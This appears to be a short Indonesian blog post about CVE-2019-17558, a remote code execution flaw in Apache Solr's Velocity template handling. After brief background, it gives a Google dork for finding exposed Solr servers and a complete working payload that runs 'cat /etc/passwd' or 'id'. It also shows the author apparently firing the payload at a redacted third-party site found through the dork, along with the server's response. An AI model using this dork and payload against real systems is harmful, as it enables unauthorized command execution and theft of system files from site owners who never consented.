Sudah lama ga nulis, kali ini saya share tentang CVE-2019-17558.
Pada tanggal 29 Oktober, bukti konsep (PoC) untuk kerentanan Remote Code Execution (RCE) di Apache Solr, platform pencarian sumber terbuka populer yang dibangun di atas Apache Lucene , diterbitkan sebagai GitHub Gist . Pada saat posting blog ini diterbitkan, kerentanan ini tidak memiliki pengenal CVE dan tidak ada konfirmasi atau indikasi solusi yang tersedia dari Apache. Namun, Apache baru-baru ini mengumumkan rilis Solr untuk mengatasi kerentanan ini, yang sekarang diidentifikasi sebagai CVE-2019-17558 . Riset yang Dapat Dipertahankan mengonfirmasi bahwa Apache Solr versi 7.7.2 hingga 8.3 rentan pada saat entri blog ini pertama kali diterbitkan. Setelah pengumuman dari Apache dirilis, kami sekarang dapat mengonfirmasi versi 5.0.0 hingga 8.3.1 terpengaruh.
Setelah saya baca-baca dan cari tahu mengenai CVE-2019-17558 saya menemukan report di HackerOne , kemudian saya mencoba dorking.
Dork: inurl:/solr/select?q=
Saya menemukan salah satu dari sekian banyaknya hasil dari dorking tadi
https://redacted.vulnsite.com/servlets/solr/select?q=
Kemudian saya mencoba memasukan payload seperti ini
Payload
1
1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
HTTP Request
1
2
3
4
5
6
7
8
9
10
11
GET /servlets/solr/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: redacted.vulnsite.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: id,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=51AA2DB658C6083BC29720A0F2D2192E
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
HTTP Response
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 200
Date: Fri, 12 Mar 2021 12:37:28 GMT
Server: Apache
Set-Cookie: JSESSIONID=B03BFDE69DACAC09D9B25D3F4347A306; Path=/; Secure; HttpOnly
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive, close
Content-Type: text/html;charset=UTF-8
Content-Length: 49
0 uid=1288(solr4) gid=201(mcr) Gruppen=201(mcr)
Oke sekian dulu.